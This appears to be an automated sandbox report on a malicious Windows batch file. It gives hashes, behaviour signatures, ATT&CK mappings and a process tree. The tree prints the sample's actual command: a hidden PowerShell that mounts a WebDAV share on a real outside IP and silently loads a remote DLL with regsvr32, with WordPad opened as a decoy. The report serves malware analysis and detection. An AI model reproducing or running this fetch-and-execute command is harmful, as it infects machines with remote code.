ce8fa1b2db4640c2293cdd07d915ab60af865961c450a75a95eabca95187b8b8

Analysis

max time kernel
122s
max time network
128s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 03:27

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General

Target

1209140631077924736.bat
Size

18KB
MD5

f23dde61b4953152a0e7b7dd18d9a7e8
SHA1

85f34fc4fde85b43c59aaa0b3841aea605f8573b
SHA256

ce8fa1b2db4640c2293cdd07d915ab60af865961c450a75a95eabca95187b8b8
SHA512

be0de8e2db58a1e860ee99acd7a712dc598226544e6cf08a33bc7657afff88b4b5279b56681b27fe1d448114f0c34cec66d097875b8fa93dac75b577830835d3
SSDEEP

384:lT8bJlUeKsvI+8R7vedXYPIDb/fA9Lq+zCYGjfd5soyBSa:EKsvZ8llIffA9LP/yfd5soyIa

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2620	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2620	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2620	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2228	wordpad.exe
2228	wordpad.exe
2228	wordpad.exe
2228	wordpad.exe
2228	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2436 wrote to memory of 2228	2436	cmd.exe	31
PID 2436 wrote to memory of 2228	2436	cmd.exe	31
PID 2436 wrote to memory of 2228	2436	cmd.exe	31
PID 2436 wrote to memory of 2620	2436	cmd.exe	32
PID 2436 wrote to memory of 2620	2436	cmd.exe	32
PID 2436 wrote to memory of 2620	2436	cmd.exe	32
PID 2620 wrote to memory of 2520	2620	powershell.exe	34
PID 2620 wrote to memory of 2520	2620	powershell.exe	34
PID 2620 wrote to memory of 2520	2620	powershell.exe	34
PID 2620 wrote to memory of 2712	2620	powershell.exe	35
PID 2620 wrote to memory of 2712	2620	powershell.exe	35
PID 2620 wrote to memory of 2712	2620	powershell.exe	35
PID 2620 wrote to memory of 2712	2620	powershell.exe	35
PID 2620 wrote to memory of 2712	2620	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1209140631077924736.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2436
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\30557255532975.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2520
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\30557255532975.dll
    3⤵
    PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2620-23-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download
memory/2620-24-0x00000000024A0000-0x00000000024A8000-memory.dmp

Filesize
32KB

Download